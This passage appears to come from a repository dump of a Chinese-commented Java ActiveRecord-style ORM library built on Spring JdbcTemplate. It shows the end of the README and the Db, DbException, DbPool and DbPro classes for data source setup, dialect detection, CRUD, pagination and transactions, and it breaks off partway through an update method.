record);\n```\n\n```\n//直接使用JdbcTemplate增加自定义查询 并转换成Model\nMap<String, Object> resultMap = jdbcTemplate.queryForMap(\"SELECT * FROM user WHERE id = ?\", 1);\nmodel.User user = new model.User().mapping(resultMap);\n\nList<Map<String, Object>> resultList = jdbcTemplate.queryForList(\"SELECT * FROM user\");\nList<model.User> users = new model.User().mappingList(resultList);\n\n```\n\n```\n/**\n     * 瀑布流分页(暂时只支持Number类型的列)\n     *\n     * @param orderColName  排序列名\n     * @param orderColValue 排序列值\n     * @param direction     方向\n     * @param params        参数\n     * @param pageSize      每页数量\n     * @return ScrollResult\n     */\n    public ScrollResult scroll(String orderColName, Number orderColValue, String direction, Map<String, Object> params, int pageSize)\n\n\n    //滚动分页方法\n    ScrollResult result = user.scroll(\"id\", id, Model.Direction.DESC, null, 2);\n\n```\n\n像事务那些东西就是基于SpringBoot了.省了一笔功夫\n\n\n\n##联系方式\n###QQ: 41369927\n###邮箱: 41369927@qq.com\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/Db.java",
    "content": "package io.github.wujun728.db.record;\n\nimport cn.hutool.core.util.StrUtil;\nimport com.alibaba.druid.pool.DruidDataSource;\nimport io.github.wujun728.db.record.mapper.BatchSql;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\nimport javax.sql.DataSource;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Db - ORM框架统一入口\n * <p>\n * 支持三种操作模式：\n * 1. Record模式 - JFinal风格的Key-Value操作 (Db.find, Db.save, Db.update, Db.delete)\n * 2. Bean模式 - 直接操作JPA/MyBatis-Plus实体 (Db.saveBean, Db.updateBean, Db.deleteBean)\n * 3. SQL模式 - 直接执行SQL (Db.execute, Db.queryList, Db.queryForInt)\n * <p>\n * 支持多数据源通过 Db.use(configName) 切换\n * 支持多种数据库方言（MySQL, Oracle, PostgreSQL, SQLite）\n */\n@Slf4j\n@Component\npublic class Db {\n\n    public static final String main = \"main\";\n    private static volatile DbPro MAIN;\n\n    @Value(\"${db.main.enable:false}\")\n    private String mainEnable;\n    @Value(\"${db.main.url:#{null}}\")\n    private String url;\n    @Value(\"${db.main.username:#{null}}\")\n    private String username;\n    @Value(\"${db.main.password:#{null}}\")\n    private String password;\n    @Value(\"${db.main.driver:#{null}}\")\n    private String driver;\n\n    @PostConstruct\n    void afterInit() {\n        try {\n            if (\"true\".equals(mainEnable) && StrUtil.isNotEmpty(url)) {\n                DataSource ds = createDataSource(url, username, password, driver);\n                init(ds);\n                log.info(\"main数据源初始化成功\");\n            }\n        } catch (Exception e) {\n            log.warn(\"非Spring容器运行或配置缺失，请手动调用Db.init()初始化数据源: \" + e.getMessage());\n        }\n    }\n\n    // ==================== 初始化 ====================\n\n    /**\n     * 使用DataSource初始化主数据源\n     */\n    public static void init(DataSource dataSource) {\n        init(main, dataSource);\n    }\n\n    /**\n     * 使用指定名称初始化数据源\n     */\n    public static void init(String configName, DataSource dataSource) {\n        init(configName, dataSource, false);\n    }\n\n    public static void init(String configName, DataSource dataSource, Boolean force) {\n        DbPro dbPro = DbPro.init(configName, dataSource, force);\n        if (main.equals(configName)) {\n            MAIN = dbPro;\n        }\n    }\n\n    /**\n     * 通过连接参数初始化数据源\n     */\n    public static void init(String configName, String url, String username, String password) {\n        DataSource ds = createDataSource(url, username, password, null);\n        init(configName, ds);\n    }\n\n    /**\n     * 获取主数据源的DbPro实例\n     */\n    public static DbPro use() {\n        if (MAIN == null) {\n            throw new RuntimeException(\"The main dataSource is not initialized. Please call Db.init(dataSource) first.\");\n        }\n        return MAIN;\n    }\n\n    /**\n     * 获取指定名称的DbPro实例\n     */\n    public static DbPro use(String configName) {\n        if (StrUtil.isEmpty(configName)) {\n            throw new RuntimeException(\"configName不能为空\");\n        }\n        DbPro result = DbPro.cache.get(configName);\n        if (result == null) {\n            throw new RuntimeException(\"DbPro not found with configName: \" + configName);\n        }\n        return result;\n    }\n\n    // ==================== SQL模式 ====================\n\n    public static int execute(String sql) {\n        return use().execute(sql);\n    }\n\n    public static int execute(String sql, Object[] objects) {\n        return use().execute(sql, objects);\n    }\n\n    public static int update(String sql, Object... paras) {\n        return use().execute(sql, paras);\n    }\n\n    public static long insert(String sql, Object[] objects) {\n        return use().insert(sql, objects);\n    }\n\n    public static int batchExecute(String sql, List<Object[]> objectsList) {\n        return use().batchExecute(sql, objectsList);\n    }\n\n    public static List<Map<String, Object>> queryList(String sql) {\n        return use().queryList(sql);\n    }\n\n    public static List<Map<String, Object>> queryList(String sql, Object... params) {\n        return use().queryList(sql, params);\n    }\n\n    public static Map<String, Object> queryForMap(String sql, Object... objects) {\n        return use().queryForMap(sql, objects);\n    }\n\n    public static int queryForInt(String sql, Object... objects) {\n        return use().queryForInt(sql, objects);\n    }\n\n    public static long queryForLong(String sql, Object... objects) {\n        return use().queryForLong(sql, objects);\n    }\n\n    public static String queryForString(String sql, Object... objects) {\n        return use().queryForString(sql, objects);\n    }\n\n    public static Date queryForDate(String sql, Object... objects) {\n        return use().queryForDate(sql, objects);\n    }\n\n    public static <T> T queryFirst(String sql, Object... paras) {\n        return use().queryFirst(sql, paras);\n    }\n\n    public static int count(String sql, Object... params) {\n        return use().count(sql, params);\n    }\n\n    // ==================== Record模式 - 查询 ====================\n\n    public static List<Record> find(String sql, Object... paras) {\n        return use().find(sql, paras);\n    }\n\n    public static List<Record> find(String sql) {\n        return use().find(sql);\n    }\n\n    public static List<Record> findAll(String tableName) {\n        return use().findAll(tableName);\n    }\n\n    public static Record findFirst(String sql, Object... paras) {\n        return use().findFirst(sql, paras);\n    }\n\n    public static Record findFirst(String sql) {\n        return use().findFirst(sql);\n    }\n\n    public static Record findById(String tableName, Object idValue) {\n        return use().findById(tableName, idValue);\n    }\n\n    public static Record findById(String tableName, String primaryKey, Object idValue) {\n        return use().findById(tableName, primaryKey, idValue);\n    }\n\n    public static Record findByIds(String tableName, String primaryKey, Object... idValues) {\n        return use().findByIds(tableName, primaryKey, idValues);\n    }\n\n    public static List<Record> findByColumnValueRecords(String tableName, String columnNames, Object... columnValues) {\n        return use().findByColumnValueRecords(tableName, columnNames, columnValues);\n    }\n\n    // ==================== Record模式 - 保存/更新/删除 ====================\n\n    public static boolean save(String tableName, Record record) {\n        return use().save(tableName, record);\n    }\n\n    public static boolean save(String tableName, String primaryKey, Record record) {\n        return use().save(tableName, primaryKey, record);\n    }\n\n    public static boolean update(String tableName, Record record) {\n        return use().update(tableName, record);\n    }\n\n    public static boolean update(String tableName, String primaryKey, Record record) {\n        return use().update(tableName, primaryKey, record);\n    }\n\n    public static boolean delete(String tableName, Record record) {\n        return use().delete(tableName, record);\n    }\n\n    public static boolean delete(String tableName, String primaryKey, Record record) {\n        return use().delete(tableName, primaryKey, record);\n    }\n\n    public static boolean deleteById(String tableName, Object idValue) {\n        return use().deleteById(tableName, idValue);\n    }\n\n    public static boolean deleteById(String tableName, String primaryKey, Object... idValues) {\n        return use().deleteById(tableName, primaryKey, idValues);\n    }\n\n    // ==================== Record模式 - 分页 ====================\n\n    public static Page<Record> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect) {\n        return use().paginate(pageNumber, pageSize, select, sqlExceptSelect);\n    }\n\n    public static Page<Record> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) {\n        return use().paginate(pageNumber, pageSize, select, sqlExceptSelect, paras);\n    }\n\n    public static Page<Record> paginate(int pageNumber, int pageSize, boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) {\n        return use().paginate(pageNumber, pageSize, isGroupBySql, select, sqlExceptSelect, paras);\n    }\n\n    public static Page<Record> paginateByFullSql(int pageNumber, int pageSize, String totalRowSql, String findSql, Object... paras) {\n        return use().paginateByFullSql(pageNumber, pageSize, totalRowSql, findSql, paras);\n    }\n\n    public static Page<Record> paginateByFullSql(int pageNumber, int pageSize, boolean isGroupBySql, String totalRowSql, String findSql, Object... paras) {\n        return use().paginateByFullSql(pageNumber, pageSize, isGroupBySql, totalRowSql, findSql, paras);\n    }\n\n    // ==================== Bean模式 ====================\n\n    /**\n     * 保存实体Bean（支持JPA @Table/@Column 和 MyBatis-Plus @TableName/@TableField注解）\n     */\n    public static boolean saveBean(Object bean) {\n        return use().saveBean(bean);\n    }\n\n    /**\n     * 更新实体Bean\n     */\n    public static boolean updateBean(Object bean) {\n        return use().updateBean(bean);\n    }\n\n    /**\n     * 删除实体Bean\n     */\n    public static boolean deleteBean(Object bean) {\n        return use().deleteBean(bean);\n    }\n\n    /**\n     * 通过SQL查询Bean列表\n     */\n    public static <T> List<T> findBeanList(Class<T> clazz, String sql) {\n        return use().findBeanList(clazz, sql);\n    }\n\n    public static <T> List<T> findBeanList(Class<T> clazz, String sql, Object... params) {\n        return use().findBeanList(clazz, sql, params);\n    }\n\n    /**\n     * 通过主键查询Bean\n     */\n    public static <T> T findBeanById(Class<T> clazz, Object idValue) {\n        return use().findBeanById(clazz, idValue);\n    }\n\n    /**\n     * Bean分页查询\n     */\n    public static <T> Page<T> findBeanPages(Class<T> beanClass, int page, int rows) {\n        return use().findBeanPages(beanClass, page, rows);\n    }\n\n    public static <T> Page<T> findBeanPages(Class<T> beanClass, int page, int rows, String sql) {\n        return use().findBeanPages(beanClass, page, rows, sql);\n    }\n\n    /**\n     * Map分页查询\n     */\n    public static Page<Map<String, Object>> queryMapPages(String sql, int page, int limit, Object[] params) {\n        return use().queryMapPages(sql, page, limit, params);\n    }\n\n    // ==================== 事务支持 ====================\n\n    public static int doInTransaction(BatchSql batchSql) {\n        return use().doInTransaction(batchSql);\n    }\n\n    public static boolean tx(IAtom atom) {\n        return use().tx(atom);\n    }\n\n    // ==================== 代码生成 ====================\n\n    /**\n     * SQL模式代码生成（默认包名 com.example）\n     */\n    public static Map<String, String> generatorCodeSQL(String tableName) {\n        return use().generatorCodeSQL(tableName, \"com.example\");\n    }\n\n    /**\n     * SQL模式代码生成 - 生成基于Db.execute/queryList/insert的Service和Controller\n     */\n    public static Map<String, String> generatorCodeSQL(String tableName, String packageName) {\n        return use().generatorCodeSQL(tableName, packageName);\n    }\n\n    /**\n     * Record模式代码生成（默认包名 com.example）\n     */\n    public static Map<String, String> generatorCodeRecord(String tableName) {\n        return use().generatorCodeRecord(tableName, \"com.example\");\n    }\n\n    /**\n     * Record模式代码生成 - 生成基于Db.save/find/update/delete的Service和Controller\n     */\n    public static Map<String, String> generatorCodeRecord(String tableName, String packageName) {\n        return use().generatorCodeRecord(tableName, packageName);\n    }\n\n    /**\n     * Bean JPA模式代码生成（默认包名 com.example）\n     */\n    public static Map<String, String> generatorCodeSQLBeanJPA(String tableName) {\n        return use().generatorCodeSQLBeanJPA(tableName, \"com.example\");\n    }\n\n    /**\n     * Bean JPA模式代码生成 - 生成JPA注解Entity + Bean模式Service和Controller\n     */\n    public static Map<String, String> generatorCodeSQLBeanJPA(String tableName, String packageName) {\n        return use().generatorCodeSQLBeanJPA(tableName, packageName);\n    }\n\n    /**\n     * Bean MyBatis-Plus模式代码生成（默认包名 com.example）\n     */\n    public static Map<String, String> generatorCodeSQLBeanMybatis(String tableName) {\n        return use().generatorCodeSQLBeanMybatis(tableName, \"com.example\");\n    }\n\n    /**\n     * Bean MyBatis-Plus模式代码生成 - 生成MyBatis-Plus注解Entity + Bean模式Service和Controller\n     */\n    public static Map<String, String> generatorCodeSQLBeanMybatis(String tableName, String packageName) {\n        return use().generatorCodeSQLBeanMybatis(tableName, packageName);\n    }\n\n    /**\n     * Model模式代码生成（默认包名 com.example）\n     */\n    public static Map<String, String> generatorCodeModel(String tableName) {\n        return use().generatorCodeModel(tableName, \"com.example\");\n    }\n\n    /**\n     * Model模式代码生成 - 生成Model子类 + Model模式Service和Controller\n     */\n    public static Map<String, String> generatorCodeModel(String tableName, String packageName) {\n        return use().generatorCodeModel(tableName, packageName);\n    }\n\n    // ==================== 内部方法 ====================\n\n    static DataSource createDataSource(String url, String username, String password, String driver) {\n        if (driver == null || driver.isEmpty()) {\n            driver = identifyDriver(url);\n        }\n        DruidDataSource ds = new DruidDataSource();\n        ds.setUrl(url);\n        ds.setUsername(username);\n        ds.setPassword(password);\n        ds.setDriverClassName(driver);\n        ds.setConnectionErrorRetryAttempts(3);\n        ds.setBreakAfterAcquireFailure(true);\n        return ds;\n    }\n\n    static String identifyDriver(String jdbcUrl) {\n        if (jdbcUrl.startsWith(\"jdbc:mysql:\")) {\n            return \"com.mysql.cj.jdbc.Driver\";\n        } else if (jdbcUrl.startsWith(\"jdbc:postgresql:\")) {\n            return \"org.postgresql.Driver\";\n        } else if (jdbcUrl.startsWith(\"jdbc:oracle:\")) {\n            return \"oracle.jdbc.driver.OracleDriver\";\n        } else if (jdbcUrl.startsWith(\"jdbc:sqlserver:\")) {\n            return \"com.microsoft.sqlserver.jdbc.SQLServerDriver\";\n        } else if (jdbcUrl.startsWith(\"jdbc:h2:\")) {\n            return \"org.h2.Driver\";\n        } else if (jdbcUrl.startsWith(\"jdbc:sqlite:\")) {\n            return \"org.sqlite.JDBC\";\n        }\n        return \"com.mysql.cj.jdbc.Driver\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/DbException.java",
    "content": "package io.github.wujun728.db.record;\n\nimport org.apache.commons.logging.Log;\nimport org.apache.commons.logging.LogFactory;\n\npublic class DbException extends RuntimeException {\n\n\tprivate static final long serialVersionUID = 7287397280270029496L;\n\n\tprivate static final Log loger = LogFactory.getLog(DbException.class);\n\n\tpublic DbException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n\n\tpublic DbException(Throwable cause) {\n\t\tsuper(cause);\n\t}\n\n\tpublic DbException(String message) {\n\t\tsuper(message);\n\t}\n\n\tpublic DbException(Exception e, String sql) {\n\t\tsuper(\"数据库运行期异常, SQL: \" + sql, e);\n\t\tif (loger.isErrorEnabled()) {\n\t\t\tloger.error(\"数据库运行期异常，相关sql语句为\" + sql, e);\n\t\t}\n\t}\n\n\tpublic DbException(String message, String sql) {\n\t\tsuper(message + \", SQL: \" + sql);\n\t\tif (loger.isErrorEnabled()) {\n\t\t\tloger.error(message + \"，相关sql语句为\" + sql);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/DbPool.java",
    "content": "// 已移除，不再需要\n/*\npackage io.github.wujun728.db.record;\n\npublic class DbPool {\n    public static String TRUE = \"true\";\n    public static String FALSE = \"false\";\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/DbPro.java",
    "content": "package io.github.wujun728.db.record;\n\nimport cn.hutool.core.collection.CollectionUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.dialect.*;\nimport io.github.wujun728.db.record.mapper.BatchSql;\nimport io.github.wujun728.db.utils.CodeGenerator;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.dao.DuplicateKeyException;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.jdbc.core.BatchPreparedStatementSetter;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.PreparedStatementCreator;\nimport org.springframework.jdbc.datasource.DataSourceTransactionManager;\nimport org.springframework.jdbc.support.GeneratedKeyHolder;\nimport org.springframework.jdbc.support.KeyHolder;\nimport org.springframework.transaction.TransactionStatus;\nimport org.springframework.transaction.support.TransactionCallback;\nimport org.springframework.transaction.support.TransactionCallbackWithoutResult;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport javax.sql.DataSource;\nimport java.sql.*;\nimport java.util.Date;\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport static io.github.wujun728.db.record.Db.main;\n\n/**\n * DbPro - 核心数据库操作引擎\n * <p>\n * 支持三种操作模式：\n * 1. SQL模式 - 直接执行SQL语句\n * 2. Record模式 - 通过Record对象进行CRUD（JFinal风格）\n * 3. Bean模式 - 通过实体对象进行CRUD（支持JPA/MyBatis-Plus注解）\n * <p>\n * 通过Dialect策略模式支持多种数据库方言\n */\npublic class DbPro {\n\n    private String configName;\n    private DataSource dataSource;\n    private JdbcTemplate jdbcTemplate;\n    private TransactionTemplate transactionTemplate;\n    private Dialect dialect;\n\n    public static final int DEFAULT_FETCHSIZE = 32;\n    static final Object[] NULL_PARA_ARRAY = new Object[0];\n\n    // 缓存池\n    public static final ConcurrentHashMap<String, DbPro> cache = new ConcurrentHashMap<>(32, 0.25F);\n    public static final ConcurrentHashMap<String, DataSource> dataSourceMap = new ConcurrentHashMap<>(32);\n    private static final ConcurrentHashMap<String, String> TABLE_PK_MAP = new ConcurrentHashMap<>();\n    private static final Object INIT_LOCK = new Object();\n\n    public DbPro() {\n    }\n\n    // ==================== 初始化 ====================\n\n    static DbPro init(String configName, DataSource dataSource) {\n        return init(configName, dataSource, false);\n    }\n\n    static DbPro init(String configName, DataSource dataSource, Boolean force) {\n        DbPro existing = DbPro.cache.get(configName);\n        if (existing != null && !force) {\n            return existing;\n        }\n        synchronized (INIT_LOCK) {\n            existing = DbPro.cache.get(configName);\n            if (existing != null && !force) {\n                return existing;\n            }\n            DbPro dbPro = new DbPro();\n            JdbcTemplate jt = new JdbcTemplate(dataSource);\n            jt.setFetchSize(DEFAULT_FETCHSIZE);\n            TransactionTemplate tt = new TransactionTemplate();\n            DataSourceTransactionManager tm = new DataSourceTransactionManager();\n            tm.setDataSource(dataSource);\n            tt.setTransactionManager(tm);\n            dbPro.configName = configName;\n            dbPro.jdbcTemplate = jt;\n            dbPro.transactionTemplate = tt;\n            dbPro.dataSource = dataSource;\n            dbPro.dialect = detectDialect(dataSource);\n            dataSourceMap.put(configName, dataSource);\n            registerTablePrimaryKeys(dataSource);\n            DbPro.cache.put(configName, dbPro);\n            return dbPro;\n        }\n    }\n\n    private static Dialect detectDialect(DataSource dataSource) {\n        Connection connection = null;\n        try {\n            connection = dataSource.getConnection();\n            String dbName = connection.getMetaData().getDatabaseProductName().toLowerCase();\n            if (dbName.contains(\"oracle\")) {\n                return new OracleDialect();\n            } else if (dbName.contains(\"mysql\") || dbName.contains(\"mariadb\")) {\n                return new MysqlDialect();\n            } else if (dbName.contains(\"sqlite\")) {\n                return new Sqlite3Dialect();\n            } else if (dbName.contains(\"postgre\")) {\n                return new PostgreSqlDialect();\n            } else if (dbName.contains(\"h2\")) {\n                return new MysqlDialect(); // H2兼容MySQL语法\n            } else {\n                return new MysqlDialect(); // 默认使用MySQL方言\n            }\n        } catch (SQLException e) {\n            throw new RuntimeException(\"获取数据库连接失败\", e);\n        } finally {\n            if (connection != null) {\n                try { connection.close(); } catch (SQLException e) { /* ignore */ }\n            }\n        }\n    }\n\n    private static void registerTablePrimaryKeys(DataSource dataSource) {\n        try {\n            List<String> tables = MetaUtil.getTables(dataSource);\n            tables.forEach(tableName -> {\n                try {\n                    Table table = MetaUtil.getTableMeta(dataSource, tableName);\n                    String pkStr = String.join(\",\", table.getPkNames());\n                    TABLE_PK_MAP.put(tableName, pkStr);\n                } catch (Exception e) {\n                    // 跳过无法获取元数据的表\n                }\n            });\n        } catch (Exception e) {\n            StaticLog.warn(\"获取表元数据失败: \" + e.getMessage());\n        }\n    }\n\n    // ==================== Getter ====================\n\n    public DataSource getDataSource() {\n        return this.dataSource;\n    }\n\n    public JdbcTemplate getJdbcTemplate() {\n        return this.jdbcTemplate;\n    }\n\n    public Dialect getDialectInstance() {\n        return this.dialect;\n    }\n\n    public static String getPkNames(String tableName) {\n        if (TABLE_PK_MAP.isEmpty()) {\n            synchronized (INIT_LOCK) {\n                if (TABLE_PK_MAP.isEmpty()) {\n                    DataSource ds = dataSourceMap.get(main);\n                    if (ds != null) {\n                        registerTablePrimaryKeys(ds);\n                    }\n                }\n            }\n        }\n        String primaryKey = DbPro.TABLE_PK_MAP.get(tableName);\n        if (StrUtil.isEmpty(primaryKey)) {\n            primaryKey = \"id\";\n        }\n        return primaryKey;\n    }\n\n    // ==================== SQL模式 - 基础操作 ====================\n\n    /**\n     * 执行insert/update/delete语句\n     */\n    public int execute(String sql) {\n        return execute(sql, null);\n    }\n\n    /**\n     * 执行insert/update/delete语句（带参数）\n     */\n    public int execute(String sql, Object[] objects) {\n        StaticLog.info(sql);\n        try {\n            if (objects != null && objects.length > 0) {\n                return jdbcTemplate.update(sql, objects);\n            } else {\n                return jdbcTemplate.update(sql);\n            }\n        } catch (Exception e) {\n            StaticLog.error(e.getMessage() + \"\\n\" + RecordUtil.formatSql(sql, objects));\n            throw new DbException(e.getMessage() + \"\\n\" + RecordUtil.formatSql(sql, objects));\n        }\n    }\n\n    /**\n     * 执行插入并返回自增主键\n     */\n    public long insert(final String sql, final Object[] objects) {\n        StaticLog.info(sql);\n        KeyHolder keyHolder = new GeneratedKeyHolder();\n        jdbcTemplate.update(new PreparedStatementCreator() {\n            @Override\n            public PreparedStatement createPreparedStatement(Connection con) throws SQLException {\n                PreparedStatement ps = con.prepareStatement(sql, Statement.RETURN_GENERATED_KEYS);\n                if (objects != null && objects.length > 0) {\n                    for (int i = 1; i <= objects.length; i++) {\n                        ps.setObject(i, objects[i - 1]);\n                    }\n                }\n                return ps;\n            }\n        }, keyHolder);\n        List<Map<String, Object>> keyList = keyHolder.getKeyList();\n        if (keyList != null && !keyList.isEmpty()) {\n            Map<String, Object> keys = keyList.get(0);\n            for (Object val : keys.values()) {\n                if (val instanceof Number) {\n                    return ((Number) val).longValue();\n                }\n            }\n        }\n        Number key = keyHolder.getKey();\n        if (key != null) {\n            return key.longValue();\n        }\n        throw new DbException(\"无法获取自增主键值\");\n    }\n\n    /**\n     * 批量执行SQL\n     */\n    public int batchExecute(String sql, final List<Object[]> objectsList) {\n        StaticLog.info(sql);\n        try {\n            jdbcTemplate.batchUpdate(sql, new BatchPreparedStatementSetter() {\n                @Override\n                public void setValues(PreparedStatement ps, int i) throws SQLException {\n                    Object[] objects = objectsList.get(i);\n                    for (int j = 0; j < objects.length; j++) {\n                        ps.setObject(j + 1, objects[j]);\n                    }\n                }\n\n                @Override\n                public int getBatchSize() {\n                    return objectsList.size();\n                }\n            });\n            return 1;\n        } catch (DataAccessException e) {\n            StaticLog.error(e.getMessage() + \"\\n\" + sql);\n            throw new DbException(e.getMessage() + \"\\n\" + sql);\n        }\n    }\n\n    // ==================== SQL模式 - 查询操作 ====================\n\n    /**\n     * 查询返回Map列表\n     */\n    public List<Map<String, Object>> queryList(String sql) {\n        return queryList(sql, null);\n    }\n\n    public List<Map<String, Object>> queryList(String sql, Object[] params) {\n        StaticLog.info(sql);\n        try {\n            if (params != null && params.length > 0) {\n                return jdbcTemplate.queryForList(sql, params);\n            } else {\n                return jdbcTemplate.queryForList(sql);\n            }\n        } catch (Exception e) {\n            StaticLog.error(e.getMessage() + \"\\n\" + RecordUtil.formatSql(sql, params));\n            throw new DbException(e.getMessage() + \"\\n\" + RecordUtil.formatSql(sql, params));\n        }\n    }\n\n    /**\n     * 查询返回单条Map\n     */\n    public Map<String, Object> queryForMap(String sql, Object... objects) {\n        StaticLog.info(sql);\n        try {\n            if (objects != null && objects.length > 0) {\n                return jdbcTemplate.queryForMap(sql, objects);\n            } else {\n                return jdbcTemplate.queryForMap(sql);\n            }\n        } catch (EmptyResultDataAccessException e) {\n            return new HashMap<>();\n        } catch (Exception e) {\n            StaticLog.error(e.getMessage() + \"\\n\" + RecordUtil.formatSql(sql, objects));\n            throw new DbException(e.getMessage());\n        }\n    }\n\n    /**\n     * 查询返回int值\n     */\n    public int queryForInt(String sql, Object... objects) {\n        StaticLog.info(sql);\n        try {\n            if (objects != null && objects.length > 0) {\n                return jdbcTemplate.queryForObject(sql, objects, Integer.class);\n            } else {\n                return jdbcTemplate.queryForObject(sql, Integer.class);\n            }\n        } catch (Exception e) {\n            StaticLog.error(e.getMessage() + \"\\n\" + RecordUtil.formatSql(sql, objects));\n            throw new DbException(e.getMessage());\n        }\n    }\n\n    /**\n     * 查询返回long值\n     */\n    public long queryForLong(String sql, Object... objects) {\n        StaticLog.info(sql);\n        try {\n            if (objects != null && objects.length > 0) {\n                return jdbcTemplate.queryForObject(sql, objects, Long.class);\n            } else {\n                return jdbcTemplate.queryForObject(sql, Long.class);\n            }\n        } catch (Exception e) {\n            StaticLog.error(e.getMessage() + \"\\n\" + RecordUtil.formatSql(sql, objects));\n            throw new DbException(e.getMessage());\n        }\n    }\n\n    /**\n     * 查询返回字符串\n     */\n    public String queryForString(String sql, Object... objects) {\n        StaticLog.info(sql);\n        try {\n            if (objects != null && objects.length > 0) {\n                return jdbcTemplate.queryForObject(sql, objects, String.class);\n            } else {\n                return jdbcTemplate.queryForObject(sql, String.class);\n            }\n        } catch (EmptyResultDataAccessException e) {\n            return \"\";\n        } catch (Exception e) {\n            StaticLog.error(e.getMessage() + \"\\n\" + RecordUtil.formatSql(sql, objects));\n            throw new DbException(e.getMessage());\n        }\n    }\n\n    /**\n     * 查询返回日期\n     */\n    public Date queryForDate(String sql, Object... objects) {\n        StaticLog.info(sql);\n        try {\n            if (objects != null && objects.length > 0) {\n                return jdbcTemplate.queryForObject(sql, objects, Date.class);\n            } else {\n                return jdbcTemplate.queryForObject(sql, Date.class);\n            }\n        } catch (EmptyResultDataAccessException e) {\n            return null;\n        } catch (Exception e) {\n            StaticLog.error(e.getMessage() + \"\\n\" + RecordUtil.formatSql(sql, objects));\n            throw new DbException(e.getMessage());\n        }\n    }\n\n    /**\n     * 查询返回第一条结果\n     */\n    public <T> T queryFirst(String sql, Object... paras) {\n        List<Map<String, Object>> result = queryList(sql, paras);\n        if (result != null && !result.isEmpty()) {\n            Map<String, Object> first = result.get(0);\n            if (first.size() == 1) {\n                return (T) first.values().iterator().next();\n            }\n            return (T) first;\n        }\n        return null;\n    }\n\n    /**\n     * 查询记录总数\n     */\n    public int count(String sql, Object... params) {\n        try {\n            return queryForInt(sql, params);\n        } catch (Exception e) {\n            throw new DbException(e, sql);\n        }\n    }\n\n    // ==================== Record模式 - CRUD ====================\n\n    /**\n     * 通过SQL查询返回Record列表\n     */\n    public List<Record> find(String sql, Object... paras) {\n        List<Map<String, Object>> results = queryList(sql, paras);\n        return RecordUtil.mapToRecords(results);\n    }\n\n    public List<Record> find(String sql) {\n        return find(sql, NULL_PARA_ARRAY);\n    }\n\n    /**\n     * 查询表的所有记录\n     */\n    public List<Record> findAll(String tableName) {\n        String sql = dialect.forFindAll(tableName);\n        return find(sql, NULL_PARA_ARRAY);\n    }\n\n    /**\n     * 查询第一条Record\n     */\n    public Record findFirst(String sql, Object... paras) {\n        List<Record> result = find(sql, paras);\n        return result.size() > 0 ? result.get(0) : null;\n    }\n\n    public Record findFirst(String sql) {\n        return findFirst(sql, NULL_PARA_ARRAY);\n    }\n\n    /**\n     * 通过主键查询Record（自动获取主键名）\n     */\n    public Record findById(String tableName, Object idValue) {\n        String defaultPrimaryKey = getPkNames(tableName);\n        return findByIds(tableName, defaultPrimaryKey, idValue);\n    }\n\n    public Record findById(String tableName, String primaryKey, Object idValue) {\n        return findByIds(tableName, primaryKey, idValue);\n    }\n\n    /**\n     * 通过主键查询Record（支持复合主键）\n     */\n    public Record findByIds(String tableName, String primaryKey, Object... idValues) {\n        String[] pKeys = primaryKey.split(\",\");\n        if (pKeys.length != idValues.length) {\n            throw new IllegalArgumentException(\"primary key number must equals id value number\");\n        }\n        String sql = dialect.forDbFindById(tableName, pKeys);\n        List<Record> result = find(sql, idValues);\n        if (CollectionUtil.isEmpty(result)) {\n            return null;\n        }\n        return result.get(0);\n    }\n\n    /**\n     * 通过列值查询Record列表\n     */\n    public List<Record> findByColumnValueRecords(String tableName, String columnNames, Object... columnValues) {\n        String[] pKeys = columnNames.split(\",\");\n        if (pKeys.length != columnValues.length) {\n            throw new IllegalArgumentException(\"column name number must equals column value number\");\n        }\n        String sql = dialect.forDbFindById(tableName, pKeys);\n        try {\n            List<Map<String, Object>> resultMap = queryList(sql, columnValues);\n            return RecordUtil.mapToRecords(resultMap);\n        } catch (EmptyResultDataAccessException e) {\n            return new ArrayList<>();\n        }\n    }\n\n    /**\n     * 保存Record\n     */\n    public boolean save(String tableName, String primaryKey, Record record) {\n        String[] pKeys = primaryKey.split(\",\");\n        List<Object> paras = new ArrayList<>();\n        StringBuilder sql = new StringBuilder();\n        dialect.forDbSave(tableName, pKeys, record, sql, paras);\n        try {\n            return execute(sql.toString(), paras.toArray()) > 0;\n        } catch (DuplicateKeyException e) {\n            throw new RuntimeException(\"主键冲突，保存失败！\");\n        } catch (DataAccessException e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n    public boolean save(String tableName, Record record) {\n        String primaryKey = getPkNames(tableName);\n        return save(tableName, primaryKey, record);\n    }\n\n    /**\n     * 更新Record\n     */\n    public boolean update(String tableName, String primaryKey, Record record) {\n        String[] pKeys = primaryKey.split(\",\");\n        Object[] ids = new Object[pKeys.length];\n        for (int i = 0; i < pKeys.length; i++) {\n            ids[i] = getRecordValue(record, pKeys[i].trim());\n            if (ids[i] == null) {\n                throw new RuntimeException(\"You can't update record without Primary Key, \" + pKeys[i] + \" can not be null.\");\n            }\n        }\n        StringBuilder sql = new StringBuilder();\n        List<Object> paras = new ArrayList<>();\n        dialect.forDbUpdate(tableName, pKeys, ids, record, sql, paras);\n        if (paras.size() <= 1) {\n            return false; // 只有主键无需更新\n        }\n        return 